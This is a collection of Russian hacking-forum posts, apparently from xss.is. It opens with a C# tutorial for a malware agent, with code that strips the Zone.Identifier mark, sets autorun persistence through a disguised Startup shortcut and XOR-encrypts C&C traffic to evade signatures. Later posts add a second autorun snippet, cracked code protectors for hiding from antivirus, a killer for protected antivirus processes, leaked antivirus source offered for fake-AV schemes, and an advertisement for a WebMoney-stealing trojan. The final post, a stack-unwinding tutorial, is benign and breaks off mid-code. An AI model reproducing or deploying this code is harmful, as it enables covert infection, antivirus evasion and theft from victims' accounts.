public enum URLZONE
{
INVALID = -1,
PREDEFINED_MIN = 0,
LOCAL_MACHINE = 0,
INTRANET = LOCAL_MACHINE + 1,
TRUSTED = INTRANET + 1,
INTERNET = TRUSTED + 1,
UNTRUSTED = INTERNET + 1,
PREDEFINED_MAX = 999,
USER_MIN = 1000,
USER_MAX = 10000
}
public enum STGM : long
{
READ = 0x00000000L,
WRITE = 0x00000001L,
READWRITE = 0x00000002L,
SHARE_DENY_NONE = 0x00000040L,
SHARE_DENY_READ = 0x00000030L,
SHARE_DENY_WRITE = 0x00000020L,
SHARE_EXCLUSIVE = 0x00000010L,
PRIORITY = 0x00040000L,
CREATE = 0x00001000L,
CONVERT = 0x00020000L,
FAILIFTHERE = 0x00000000L,
DIRECT = 0x00000000L,
TRANSACTED = 0x00010000L,
NOSCRATCH = 0x00100000L,
NOSNAPSHOT = 0x00200000L,
SIMPLE = 0x08000000L,
DIRECT_SWMR = 0x00400000L,
DELETEONRELEASE = 0x04000000L
}
[ComImport]
[Guid("0968e258-16c7-4dba-aa86-462dd61e31a3")]
public class PersistentZoneIdentifier
{
}
[ComImport]
[Guid("cd45f185-1b21-48e2-967b-ead743a8914e")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IZoneIdentifier //: IUnknown
{
int GetId(out URLZONE pdwZone);
int SetId(URLZONE dwZone);
int Remove();
}
public static void RemoveZoneID(string FilePath)
{
IPersistFile PersistFile = null;
IZoneIdentifier ZoneID = null;
try
{
PersistFile = (IPersistFile)new PersistentZoneIdentifier();
const int Mode = (int) (STGM.READWRITE | STGM.SHARE_EXCLUSIVE);
URLZONE Zone;
try
{
PersistFile.Load(FilePath, Mode);
ZoneID = (IZoneIdentifier)PersistFile;
var getIdResult = ZoneID.GetId(out Zone);
}
catch (FileNotFoundException)
{
Zone = URLZONE.LOCAL_MACHINE;
}
catch (UnauthorizedAccessException)
{
Zone = URLZONE.INVALID;
}
if (Zone == URLZONE.LOCAL_MACHINE || Zone == URLZONE.INVALID)
{
return;
}
var removeResult = ZoneID.Remove();
PersistFile.Save(FilePath, true);
}
finally
{
if (PersistFile != null)
{
Marshal.ReleaseComObject(PersistFile);
}
if (ZoneID != null)
{
Marshal.ReleaseComObject(ZoneID);
}
}
}
Настал момент реализовать персистентность нашему агенту. Она будет довольно
простой, метод будет заключаться в том, что мы будем создавать ярлык в
авторане, спать рандомное количество времени, и затем дропаться.
Заходим в меню Add References , добавляем Windows Script Host Object
Model , пишем функцию для создания ярлыка с рандомным именем, описанием, и
иконкой блокнота ( выбор автора ):
C#:Copy to clipboard
static public void AddToAutorun(string FilePath)
{
try
{
WshShell Shell = new WshShell();
string ShortcutPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RandomString(Rand.Next(4, 16)) + ".lnk";
IWshShortcut Shortcut = (IWshShortcut)Shell.CreateShortcut(ShortcutPath);
Shortcut.Description = RandomString(Rand.Next(4, 24));
Shortcut.TargetPath = FilePath;
Shortcut.IconLocation = Environment.GetEnvironmentVariable("WINDIR") + "\\notepad.exe";
Shortcut.Save();
}
catch
{
throw new Exception("Can't create file shortcut");
}
}
Возвращаемся в главную функцию нашей программы, зараннее добавив в Add References System.Windows.Forms, и заполняем её:
C#:Copy to clipboard
string InstallDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Config.DirectoryName;
if (Application.ExecutablePath.Contains(InstallDirectory))
{
MessageBox.Show("It works!");
}
else
{
if (Directory.Exists(InstallDirectory))
{
Environment.Exit(0);
}
string InstallPath = InstallDirectory + "\\" + Utils.RandomProcessName();
try
{
Utils.AddToAutorun(InstallPath);
Thread.Sleep(Utils.Rand.Next(6000, 21000));
Directory.CreateDirectory(InstallDirectory);
File.Copy(Application.ExecutablePath, InstallPath);
Utils.RemoveZoneID(InstallPath);
}
catch { }
Теперь давайте я расскажу о модели общения с админкой. Я решил не
заморачиваться с использованием в качестве C&C различных извращений, по типу
гугл диска, сделав простой отстук по http протоколу.
Мы не будем так-же извращаться с протоколом общения с админкой, использоваться
будen банальные делимитеры. Траффик будет шифроваться посредством кастомной
реализации XOR'a, с использованием рандомного ключа для каджого запроса, а
затем крыться base64.
Благодаря этому траффик будет выглядеть полиморфным, и на него нельзя будет
поставить чёткую сигнатуру. ( Каждый запрос будет выглядеть уникально. )
Это будет работать за счёт того, что гейту будет передаваться GET параметр k,
который будет содержать в себе ключ по которому зашифрована строка.
Приведу небольшой пример реализации:
Есть строка - "hello, xss". Мы шифруем её при помощи XOR'a. Далее - мы конкатенируем её с ключом, длина ключа - статическая, 6 символов, попутно шифруя уже зашифрованную строку этим ключём. Выходит строка: keykeyencrypted ( keykey-ключ, encrypted - данные ), поставь чёткую сигнатуру на тело запроса в таком случае не выйдет.
Перейдём в Utils.cs и напишем функцию для шифрования строк:
C#:Copy to clipboard
static public string XOR(string StringToEncrypt, string Key)
{
string BStringToEncrypt = Convert.ToBase64String(Encoding.Unicode.GetBytes(StringToEncrypt));
char[] EncryptedString = new char[BStringToEncrypt.Length];
for (int i = 0; i < BStringToEncrypt.Length; i++)
{
EncryptedString[i] = (char)(BStringToEncrypt[i] ^ Key[i % Key.Length]);
}
return Convert.ToBase64String(Encoding.Unicode.GetBytes(EncryptedString));
}
На этом - первая часть данной статьи подходит к концу. В следующих частях мы реализуем сетевой функционал агента, научим его получать информацию об окружении, в котором он запущен, и наконец таки реализуем виртуальную файловую систему в реестре + модульность, прочие мелочи.
Так-же хочу добавить, что админка прилагаться к данному материалу - не будет. Желающие смогут модифицировать данный макет под себя, переписав некоторые аспекты, и затем написав админ панель.
BTC - 3QSPCurAEUxEDAdnpyAd7GgYBw3ZoH3oSM
ETH - 0x6965c8e0830127afa88f23659b8b3e19a2e3d096
© Eternal , специально для xss.is.
C#:Copy to clipboard
private void Form1_Load(object sender, EventArgs e)
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); //appdata
string fileName = Process.GetCurrentProcess().MainModule.FileName; //текущее название исполняемого файла
string filename1 = "file"; // название файла после сохранения
string directory = @"\Microsoft\Windows\Start Menu\Programs\Startup\";
string pathFile = folderPath + directory + filename1 + @".exe";
if (System.IO.File.Exists(pathFile))
{
}
else
{
FileInfo fileInfo = new FileInfo(fileName);
fileInfo.CopyTo(string.Concat(folderPath, directory + filename1 + @".exe"), true);
}
}
Принцип: Запускается файл, в независимости от того, переименован ли он был,
он переносится в %appdata%\Microsoft\Windows\Start
Menu\Programs\Startup\Название файла.exe (Автозапуск). Если файл есть - ничего
не происходит.
Просто выкладываю мой способ, жду критики, хочу улучшить код.
Доброе время суток ребята, всегда нравилось программирование и интересовало написание приложений и кода ( но из за постоянных разных зарабатков и всякой хрени не мог дать себе такое время на образование ) и вот в 25 лет)) Я пошел на курсы, и меня засосало, но нужна помощь, можете скинуть книжек по обучению , либо по написанию кода, может уроки ( ютуб ) какие есть нужны? Кто сам изучал , как делал? Всем удачи!)
Оставлю здесь, может кому пригодиться. На все упомянутые протекторы уже есть распаковки, но от ламеров которые страждут изучить ваш код поможет.
Themida - коммерческий продукт, использует много способов протекции
вашего приложения (в том числе виртуализация). Долго искал крякнутую версию,
последнюю которую нашел 2.4.6.0.
[CLIKE]Скачать Themida 2.4.6.0
(Crack)[/CLIKE]
ConfuserEx - бесплатный протектор с открытым исходным кодом (скачать с
GitHub), позволяет подгружать
плагины, а так же компилировать свои модификации. Одну из таких
модифицированных сборок нашел на одном из соседних форумов.
[CLIKE][Скачать ConfuserEx
Modded](https://mega.nz/#!1WoxQSKb!nGlDohuo9uQolEcrUAJePhx4zr6YU2qcif-
_e7juB1k)[/CLIKE]
Appfuscator - бесплатный протектор, позволяет бесплатно воспользоваться
прямо на сайте (http://appfuscator.com/ru/obfuscation/).
Любую защиту можно взломать, вопрос лишь состоит в затраченных средств и времени. При применение некоторых инструментов ваша программа может начать детектиться антивирусом. Лучше всего для качественного скрытия вашего кода выносить его часть на сервер.
Всем привет. В поисках рабочей реализации сабжа. Тестил либу револьфа, на последних ОС не пашет :C
по итогу функция занимает секунд 5-20 и генерирует число возвращая его в char*
функция времязатратная, но и антивирус её не проскипает т.к. она используется
для генерации ключа,
генератор сам и обрабатывает функцию показывая вам ключ в виде набора чисел.
You must have at least 29 reaction(s) to view the content.
Решил разобраться с программированием и всем из него вытекающим, и так как я честно говоря вообще ноль в этом, нужна помощь знающих людей, с чего начать ? Какие источники использовать ? Как учились вы? ( Вопрос скорее к тем, кто учился самостоятельно,а не по университетской программе ) Заранее благодарен)
Использую в кодинге, как и большиство, анси функции винапи.
Знакомый кодер использует вайд функции, с его слов анси поддерживает только
стандартную кодировку винды, а вайд как юникод иероглифы. Подтверждение этого
(как и вообще какой-то информации об этом) найти не удалось.
Написал софт для теста, состоящий из следующих вайд функций винапи WriteFile,
CreateFileW, CloseHandle, ExitProcess, InternetOpenW, InternetOpenUrlW,
InternetReadFile, InternetCloseHandle, ShellExecuteW.
Скомпилировал, запустил - не работает
Изменил на анси CreateFileA, InternetOpenA, InternetOpenUrlA, ShellExecuteA -
работает.
Предполагаю, что ошибка в кодировке системы. Но винда поддерживает только перевод основных интерфейсов, кодировка все равно будет стандартная.
Пишу на асме, мой компилятор не должен автоматически распределять анси и вайд функции.
Достаточно необычная книга, хотя, наверное, будет интересна узкому кругу лиц. В книге есть множество приемов для работы с отдельными битами, байтами, вычисления различных целочисленных функций; большей части материала сопутствует строгое математическое обоснование. Книга, вероятно, будет интересна тем кто кодит на Асме, разработчикам компиляторов и так далее.
Скачать:
_http://rutracker.org/forum/viewtopic.php?t=532864
_http://rutracker.org/forum/viewtopic.php?t=3292966
Всем привет нужен метод самоудаления exe файла когда он запущен без
использования (там без всяких батников,реестра, shellexecude + notify,
инжектов в процесс и прочей ерести).
На примете пока MoveFileExW(pszwMyExistExe,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
и вообще существуют методы ?
Это набор примеров демонстрирующих реализации различных программ с помощью Visual Studio 2005(2008),еще существует вариант таких же примеров для Visual Basic .NET.Более подробно информацию смотрите здесь:
Spoiler: 3 у вас 43
http://msdn.microsoft.com/en-us/vs2005/aa718334.aspx
Забираем сабж
Spoiler: 2
http://www.mlfat4arab.com/xdfzxiz0t0fr/KASPERSKY.AV.2008.SRCS.ELCRABE.RAR.html
и клепаем свою партнерку по фэйк-АВ
Привет всем! По ссылке лежит кодес позволяющий прибивать защищенные процессы
(процессы антируткитов, антвирусов, etc). Ищет адрес функции
PsTerminateProcess и вызывает ее. Стабильно работает на xp sp3.
Бинарник
Получены с помощью IDA
Только под кипер < 3.8.0.0
Сталобыть для боевых операций не годится.
Только для ознакомления.
Код слегка приведен в порядок.
http://www.sendspace.com/file/80nmim
http://www.filefactory.com/file/a11c043/n/vpablik.rar
Пароль: xss.is/_4hv6y9v56hn9f85h6938h
WM Inside
WebMoney Grabbing System
Программа предназначена для получения доступа к счетам пользователей WebMoney Keeper Classic.
При авторизации пользователя в системе (входе в кипер) программа грабит все необходимые авторизационные данные и отсылает на сервер. Никаких подмен номеров кошельков в буфере обмена, распознавания капч, программного нажатия кнопок, социнженерии и прочих "детских" методов. Вы сами сольете титульные знаки, когда посчитаете нужным. Не требуется доступ к мылу пользователя для активации. Всю необходимую инфу об оборудовании и системе пользователя трой собирает и отправляет на сервер.
Написан на ассемблере. Размер билда: 9 кБ несжатый.
Каждый билд криптуется уникальным ключем. (В будующем планируется полиморф).
Работа троя невидима для фаерволлов. (KIS 2009, OutPost, ZoneAlarm, возможно другие).
Не детектируется антивирусами. (VirusTotal: 0/39).Работа происходит следующим образом.
После запуска ЕХЕ, дроппер устанавливает трой в систему (при наличии в ней WebMoney Keeper Classic) и самоудаляется. При следующем входе пользователя в систему WebMoney (при вводе WMID и пароля) трой отправляет сграбленную инфу на сервер, после чего самоудаляется.
К трою прилагаются скрипты: сборщик отчетов и просмотр отчетов в онлайн. Скрипты на PHP, БД не требуется.Сграбленная инфа отображается в Online Log-Viewer'e по каждому ВМИДу, непосредственно оттуда она может импортироваться методом Copy+Paste в клиент (либо можно скачать и сохранить в файл).
Клиент представляет собой приложение, предназначенное для запуска из-под него Кипера с целью подмены в нем данных на нужные (сграбленные). Клиент запускает Кипер и производит необходимые изменения в памяти процесса Кипера, в результате чего Кипер передает на сервер ВМ не реальную информацию, а ту инфу, которую трой сграбил на машине пользователя (системная инфа и инфа об оборудовании). Этим достигается "прозрачный" вход на счет пользователя без необходимости активации оборудования по мылу или телефону. Клиент имеет приятный и интуитивно понятный графический интерфейс, работа с ним осуществляется "в два клика" - Log-Viewer: Ctrl+C; Client: "Import",Ctrl+V,"Run Keeper" - и Вы уже на нужном счете.
Клиент с Кипером можно запускать и на виртуальной машине - поскольку инфа об оборудовании подменяется, сервер WebMoney не узнает, что Кипер запущен на виртуальной машине.
Важная особенность - клиент имеет возможность соксификации Кипера. Для этого используется прокси-движок известной программы FreeCap. Вам не нужно запускать Кипер из FreeCap'a, в клиенте включаете опцию "Use FreeCap" и при запуске Кипера его соединения будут пущены через сокс, задаваемый в FreeCap'e (а в нем можно задавать как Socks 4/5, HTTP Proxy с авторизацией или без, так и цепочки из соксов). Поскольку Кипер передает на сервер локально определяемый IP адрес, то рекомендуется также использовать VPN (а также для безопасности). Сграбленная инфа может импортироваться и экспортироваться в/из клиент(а) как в виде текста (непосредственно из Log- Viewer'a), так и в виде файла, который может быть скачан из того же Log- Viewer'a или сохранен из клиента.
Работает с Кипером версии 3.7.0.0 (текущий), 3.6.0.6 (предыдущий), возможно и с другими (тестировалась только с указанными).Click to expand...
собсно сабж , _http://hellknights.void.ru/uploads/peloader.cpp кроме этой
ссылы
ничо нормального не удалось найти, но он очень кривой из всех екзешников
удалось запустить тока calc.exe
мож у кого есть подобное чудо ? :o
Помогите, пожалуйста, с исходниками на с++ поиска текста в файлах с различными
кодировками.
Или мануалами.
Article: Анализ стека
Author: Great
Date: 12.08.2006/3.12.2006
Theme: Coding/Reversing
Lang.: C/C++
Base: -
Note: Статья рассчитана знающих язык С++, программирующих на Win32 API и
знающих основы вызова функций в ассемблере.
I. Кручу-верчу, раскрутить хочу
Вероятно, ты не раз видел во всяких полезных утилитах вроде отладчика или
просмотрщика процессов одну полезную функцию - раскрутка стека. Если нет -
поясню, что это такое. При вызове функции командой CALL в стеке сохраняется
адрес возврата, который потом снимается оттуда командой RET. Проанализировав
стек потока, можно узнать, каким путем и через какие вызовы выполнение
добралось до текущей точки. Такая полезная возможность есть, например, в
Process Explorer'е от небезызвестного Марка Руссиновича или, например, во
встроенном отладчике в MS Visual Studio. Обычно, формат выводимой информации
таков:
имя_модуля!имя_функции + смещение [аргументы]
Насчет аргументов. По идее, в стек запихиваются и переданные в функцию
аргументы, поэтому можно при анализе стека еще и показывать аргументы. Правда,
нигде не сохраняется информация об их размере, потому что вызываемая программа
обычно знает размер своих аргументов. Но так как большая часть всех аргументов
имеет размер 32 бита или 4 байта (это, например, int, long, enum, bool, все
указатели и еще некоторые типы), это не большая проблема.)
Попробуем и мы реализовать такую штуку, тем более, что это не сложно.
II. Инструменты
Для работы с именами функций и модулями мы будем использовать библиотеку
DBGHELP.DLL, входящую в базовый комплект поставки детища дяди Билла. (По
странной причине я не обнаружил в MS VC++ 6.0 к ней библиотеки импорта, хотя
хидер там был - чудеса
.
Пришлось спереть либу из masm32.) В ней для нас полезны следующие функции:
SymInitialize: Подготовка процесса к работе с символами
Code:Copy to clipboard
BOOL SymInitialize(
HANDLE hProcess, // хендл процесса
PSTR UserSearchPath, // путь поиска. Ставим ноль в надежде, что все окажется в одном каталоге
BOOL fInvadeProcess // указан ли верный хендл процесса. Если FALSE, то вместо hProcess можно передать любое другое число, идентифицирующее процесс, например, его ID. Мы честно передаем хендл и ставим TRUE
);
Функция возвращает булево значение, означающее успешность выполнения.
SymGetSymFromAddr: Возвращает имя функции и ее стартовый адрес по адресу какого-то, принадлежащего ей, байта.
Code:Copy to clipboard
BOOL SymGetSymFromAddr(
HANDLE hProcess, // хенлд процесса
DWORD Address, // адрес для исследования
PDWORD Displacement, // сюда запишут смещение адреса от стартового
PIMAGEHLP_SYMBOL Symbol // сюда запишут инфу о функции, в т.ч. ее адрес и имя
);
Формат структуры IMAGEHLP_SYMBOL таков:
Code:Copy to clipboard
typedef struct _IMAGEHLP_SYMBOL {
DWORD SizeOfStruct; // размер структуры
DWORD Address; // адрес
DWORD Size; // размер
DWORD Flags; // зарезервировано
DWORD MaxNameLength; // макс. длина имени
CHAR Name[1]; // имя
} IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;
Т.к. длина имени может варьироваться, то выделять память под него должна вызывающая программа. Проще выделить память для всей структуры разом:
Code:Copy to clipboard
BYTE lpMemory[256];
IMAGEHLP_SYMBOL* sym = (IMAGEHLP_SYMBOL*)lpMemory;
Функция возвращает булево значение, означающее успешность выполнения.
SymGetModuleBase: возвратить базовый адрес загрузки модуля по адресу какого- то его байта
Code:Copy to clipboard
DWORD SymGetModuleBase(
HANDLE hProcess, // хендл процесса
DWORD dwAddr // адрес байта
);
Для инициализации DBGHELP.DLL понадобятся SymSetOptions().
Code:Copy to clipboard
DWORD SymSetOptions(
DWORD SymOptions
);
Опции могут быть следующими:
SYMOPT_CASE_INSENSITIVE Поиск имен ведется без учета регистра символов
SYMOPT_UNDNAME Все имена представлены в обычном виде (без постфиксов @N,
характерных для соглашения вызова stdcall)
SYMOPT_DEFERRED_LOADS Имена не загружаются, пока не возникнет ссылка на
них. Это наиболее быстрый способ использования имен.
SYMOPT_NO_CPP Во всех именах C++, содержащих '::', будет произведена
замена на '__'
SYMOPT_LOAD_LINES Загрузить информацию о номерах строк
Так же нам понадобится стандартная API GetModuleFileName()
III. Кодинг
Первое, что мы напишем, будет функция получения имени функции и ее стартового
адреса - оболочка для SymGetSymFromAddr.
Сначала надо проинициализировать процесс. Мы вызовем SymSetOptions и укажем
DBGHELP.DLL производить отложенную загрузку и раздекорировать имена.
Далее мы выделим память для структуры IMAGEHLP_SYMBOL и вызовем
SymGetSymFromAddr.
Итак,
Code:Copy to clipboard
/* GetProcBaseAddressAndName()
*
* Описание
* Функция возвращает стартовый адрес функции и ее имя по переданному адресу (адрес может и не указывать на
* начало функции).
*
* Параметры
* hProcess хендл процесса
* dwAddress адрес
* lpdwBase адрес переменной, куда будет записан стартовый адрес
* lpszProcName строка, куда будет записано имя функции
* nSize длина этой строки
*
* Возвращаемое значение
* TRUE, если поиск удался, в противном случае - FALSE
*/
BOOL GetProcBaseAddressAndName(HANDLE hProcess, DWORD dwAddress, LPDWORD lpdwBase, LPDWORD lpdwOffset, LPTSTR lpszProcName, DWORD nSize)
{
// Иницаализация процесса
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
if (!SymInitialize(hProcess, NULL, TRUE))
return 0;
// Ищем функцию
BYTE buffer[256];
PIMAGEHLP_SYMBOL pSymbol = (PIMAGEHLP_SYMBOL)buffer;
pSymbol->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL);
pSymbol->MaxNameLength = sizeof(buffer) - sizeof(IMAGEHLP_SYMBOL) + 1;
if (!SymGetSymFromAddr(hProcess, dwAddress, lpdwOffset, pSymbol))
return 0;
strncpy(lpszProcName, pSymbol->Name, nSize);
*lpdwBase = pSymbol->Address;
return 1;
}
Далее напишем функцию, которая нам по заданному адресу возвратит строку вида "модуль!функция+смещение", где "модуль" - имя модуля, "функция" - найденная функция, "смещение" - смещение заданного адреса относительно ее базового адреса. Если адрес не найдем, возвратим "модуль!адрес", если не найдем модуль
Code:Copy to clipboard
/* GetModuleAndFunctionNameByAddress()
*
* Описание
* Функция возвращает строку вида "имя_модуля!имя_функции + смещение" по переданному адресу. К примеру, если передать
* ExitProcess+0x1a, функция вернет строку "kernel32!ExitProcess + 0x001a". Если функция не может найти адрес,
* строка будет вида "имя_модуля!адрес", а если не может найти модуль - имя модуля будет "unknown"
*
* Параметры
* hProcess хендл процесса
* dwAddress адрес
* lpszString строка
* nSize длина строки
*
* Возвращаемое значение
* TRUE, если поиск удался, в противном случае - FALSE
*/
BOOL GetModuleAndFunctionNameByAddress(HANDLE hProcess, DWORD dwAddress, LPTSTR lpszString, DWORD nSize)
{
DWORD base,offset;
char name[1024], ret[10240];
if(!GetProcBaseAddressAndName(hProcess, dwAddress, &base, &offset, name, sizeof(name)))
{
if(GetLastError()==ERROR_MOD_NOT_FOUND || GetLastError()==ERROR_INVALID_ADDRESS)
{
if(!dwAddress)
{
wsprintf(ret, "unknown!0x%08x", dwAddress);
strncpy(lpszString, ret, nSize);
return 1;
}
DWORD module = SymGetModuleBase(hProcess, dwAddress);
if(!module)
{
wsprintf(ret, "unknown!0x%08x", dwAddress);
strncpy(lpszString, ret, nSize);
return 1;
}
IMAGEHLP_MODULE modinfo = {sizeof(modinfo)};
if(!SymGetModuleInfo(hProcess, module, &modinfo))
{
wsprintf(ret, "unknown!0x%08x", dwAddress);
strncpy(lpszString, ret, nSize);
return 1;
}
wsprintf(ret, "%s!0x%08x", modinfo.ModuleName, dwAddress);
strncpy(lpszString, ret, nSize);
return 1;
}
return 0;
}
DWORD module = SymGetModuleBase(hProcess, dwAddress);
IMAGEHLP_MODULE modinfo = {sizeof(modinfo)};
SymGetModuleInfo(hProcess, module, &modinfo);
wsprintf(ret, "%s!%s + 0x%04x", modinfo.ModuleName, name, offset);
strncpy(lpszString, ret, nSize);
return 1;
}
Теперь все готово, для того, чтобы проанализировать стек потока и посмотреть, какие функции были вызваны и каким путем выполнение программы пришло в текущую точку. Например, мы хотим проанализировать последние 20 адресов в стеке. Мы прочитаем 20 чисел по адресу EBP текущего потока и проанализируем их.
Code:Copy to clipboard
/* StackUnwind()
*
* Описание
* Раскрутка локального стека по адресу из EBP. Отображает окно с информацией
*
* Параметры
* nSize глубина раскрутки. Столько адресов, начиная с вершины стека, будет проанализировано
* bSkipUnknownModules флаг - пропускать "бесхозные" адреса (имена модулей которых получить не удалось)
*
* Возвращаемое значение
* нет
*/
void StackUnwind(DWORD nSize=10, BOOL bSkipUnknownModules = TRUE)
{
DWORD *__ebp;
_asm mov __ebp, ebp; // сохраним значение EBP
char buffer[10240] = ""; // сюда запишем всю информацию для вывода через MessageBox
wsprintf(buffer+lstrlen(buffer),"Unwinding stack by EBP=0x%08x\n", __ebp);
char buf[1024];
for(DWORD i=0;i<nSize;i++)
{
// получаем имя функции в виде "модуль!функция+смещение"
GetModuleAndFunctionNameByAddress(GetCurrentProcess(), (DWORD)__ebp[i], buf, 1024);
// имя модуля определить не удалось => это не адрес возврата, а, скорее всего аргумент функции.
if(!strncmp(buf, "unknown", 7) && bSkipUnknownModules)
continue;
wsprintf(buffer+lstrlen(buffer), "0x%08x %s\n", __ebp[i], buf);
if(!strcmp(buf, "kernel32!RegisterWaitForInputIdle + 0x0049"))
{
wsprintf(buffer+lstrlen(buffer), "Found kernel32!BaseProcessStart (shown as 'kernel32!RegisterWaitForInputIdle + 0x0049'), stopping\n");
break;
}
}
MessageBox(0, buffer, "Stack unwind information", MB_ICONINFORMATION);
}
В цикле видно странный if, в котором проверяется совпадение имени функции с kernel32!RegisterWaitForInputIdle + 0x0049. Зачем это нужно, мы узнаем чуть позже.
Теперь мы можем вызвать эту функцию прямо из WinMain и узнать, что творится в стеке главного потока нашей программы. Но мы для наглядности напишем пару- тройку вызывающих друг друга процедур, чтобы проследить местоположение адресов возврата в стеке.
Code:Copy to clipboard
void f3()
{
StackUnwind(50);
}
void f2()
{
f3();
}
void f1()
{
f2();
}
Мы решили проанализировать 50 адресов в стеке. Из WinMain мы вызываем функцию
f1, она вызывает f2, f2, в свою очередь, вызывает f3, которая вызывает
StackUnwind. Что ж, поставим точку входа в нашу программу на WinMain, чтобы
нам не мешали всякие WinMainCRTStartup, и запустим ее.
Результат анализа стека показан ниже:
Unwinding stack by EBP=0x0013ff70
0x00401112 stackunwind!f3 + 0x000c
0x0040111f stackunwind!f2 + 0x0008
0x00401129 stackunwind!f1 + 0x0008
0x00401137 stackunwind!WinMain + 0x000c
0x7c90e64e ntdll!NtSetInformationThread + 0x000c
0x7c816fd4 kernel32!RegisterWaitForInputIdle + 0x0046
0x7c816fd7 kernel32!RegisterWaitForInputIdle + 0x0049
Found kernel32!BaseProcessStart (shown as 'kernel32!RegisterWaitForInputIdle + 0x0049'), stoppingClick to expand...
По первым 3-4 строчкам видно, что WinMain вызвала f1, и по цепочке управление
дошло до функции f3.
Но что за странные строчки после WinMain и до конца?
А все дело в том, что выполнение любого потока (кроме главного потока
программы) начинается с функции BaseThreadStart, а главного потока программы -
с BaseProcessStart. Она устанавливает некоторые параметры потоку, в том числе
и истинную точку входа и передает управление на неё - в данном случае, на
WinMain. Почему же не распозналась функция BaseProcessStart, а вместо нее идет
RegisterWaitForInputIdle, которая, казалось бы, совсем не к месту? А все дело
в причудливом расположении этих функций в kernel32.dll.
Сначала идет BaseProcessStart, в которой есть переход на 64С0 байт вперед, за
ее пределы, потом идет RegisterWaitForInputIdle, а потом идет продолжение
BaseProcessStart, куда она перепрыгивала с 64С0 байт назад.
Выглядит все это примерно так (листинг IDA Pro):
Code:Copy to clipboard
.text:7C810867 BaseProcessStart proc near ; DATA XREF: sub_7C81059D+47D4o
.text:7C810867 xor ebp, ebp
.text:7C810869 push eax
.text:7C81086A push 0
.text:7C81086C jmp __BaseProcessStartContinue
.text:7C81086C BaseProcessStart endp
... тут идет множество других функций, в том числе и RegisterWaitForInputIdle, которая идет последней ...
.text:7C816D06; int __fastcall RegisterWaitForInputIdle(int,int,int)
.text:7C816D06 public RegisterWaitForInputIdle
а сюда управление попадает из BaseProcessStart. С легкой руки эту метку я обозвал __BaseProcessStartContinue
.text:7C816D2C; START OF FUNCTION CHUNK FOR BaseProcessStart
.text:7C816D2C
.text:7C816D2C __BaseProcessStartContinue: ; CODE XREF: BaseProcessStart+5j
.text:7C816D2C push 0Ch
.text:7C816D2E push offset dword_7C816D58
.text:7C816D33 call sub_7C8024CB
.text:7C816D38 and dword ptr [ebp-4], 0
.text:7C816D3C push 4
.text:7C816D3E lea eax, [ebp+8]
.text:7C816D41 push eax
.text:7C816D42 push 9
.text:7C816D44 push 0FFFFFFFEh
.text:7C816D46 call ds:NtSetInformationThread
.text:7C816D4C call dword ptr [ebp+8]
.text:7C816D4F push eax ; dwExitCode
.text:7C816D50
.text:7C816D50 loc_7C816D50: ; CODE XREF: .text:7C843635j
.text:7C816D50 call ExitThread
Сначала управление попало в BaseProcessStart, процессор перепрыгнул на
__BaseProcessStartContinue и произошел вызов NtSetInformationThread.
Смещение 0x0046 относительно RegisterWaitForInputIdle - это адрес инструкции
Code:Copy to clipboard
.text:7C816D4C call dword ptr [ebp+8]
а смещение 0x0049 - адрес
Code:Copy to clipboard
.text:7C816D4F push eax ; dwExitCode
И все тайное становится явным
Адрес возврата в ntdll!NtSetInformationThread появляется просто по причине
того, что в ntdll содержатся функции-переходники для Native API.
Как раз NtSetInformationThread является одним из таких переходников. Смещение
0x000c относительно NtSetInformationThread - это адрес инструкции после call,
затолкнутый процессором в стек при выполнении инструкции call.
Code:Copy to clipboard
.text:7C90E642 public ZwSetInformationThread
.text:7C90E642 ZwSetInformationThread proc near ; CODE XREF: RtlImpersonateSelf+71p
.text:7C90E642 ; sub_7C92764E+79DCp ...
.text:7C90E642 mov eax, 0E5h ; NtSetInformationThread
.text:7C90E647 mov edx, 7FFE0300h
.text:7C90E64C call dword ptr [edx]
.text:7C90E64E retn 10h
.text:7C90E64E ZwSetInformationThread endp
Кроме того, что мы рассмотрели, как анализировать стек текущего процесса, мы
еще и узнали, как происходит старт нового процесса.
Попробуем теперь распотрошить стек любого другого процесса.
Что же нам потребуется - найдем первый попавшийся поток этого процесса,
приостановим, снимем его контекст, снимем дамп его стека и возобновим поток.
Потом будем производить анализ стека точно так же, как и для текущего
процесса.
Поскольку я использую Microsoft Visual C++ 6.0 и ленюсь обновить свой давно устаревший SDK , а функция OpenThread отсутствовала в ранних версиях Windows, мне пришлось написать оболочку для динамического вызова OpenThread:
Code:Copy to clipboard
HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess, // access right
BOOL bInheritHandle, // handle inheritance option
DWORD dwThreadId // thread identifier
)
{
typedef HANDLE (WINAPI *func)(DWORD,BOOL,DWORD);
func f = (func)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenThread");
if(!f)
ExitProcess(MessageBox(0, "Cannot find 'OpenThread' entry point in the 'kernel32.dll'", 0, MB_ICONERROR));
return f(dwDesiredAccess, bInheritHandle, dwThreadId);
}
Теперь напишем функцию для анализа стека процесса. Ее заголовок будет таким:
BOOL StackRemoteUnwind(DWORD dwProcessId, DWORD dwThreadId, DWORD nSize=10,
BOOL bSkipUnknownModules = TRUE)
dwProcessId - ID процесса
dwThreadId - ID потока
nSize - сколько адресов анализировать
bSkipUnknownModules - пропускать ли адреса, чьи модули не известны.
Для начала открываем дескрипторы процесса и потока:
Code:Copy to clipboard
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwProcessId);
if(!hProcess)
return MessageBox(0,"Cannot open process", "Stack unwind", MB_ICONSTOP)?0:0;
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, dwThreadId);
if(!hThread)
return MessageBox(0,"Cannot open thread", "Stack unwind", MB_ICONSTOP)?0:0;
Затем аккуратно останавливаем поток, снимаем всю инфу, которая нужна (контекст, дамп стека) и возобновляем выполнение потока
Code:Copy to clipboard
CONTEXT ctx = {CONTEXT_FULL};
SuspendThread(hThread); // приостанавливаем
if(!GetThreadContext(hThread, &ctx) || !ctx.Eip) // получаем контекст
{
ResumeThread(hThread);
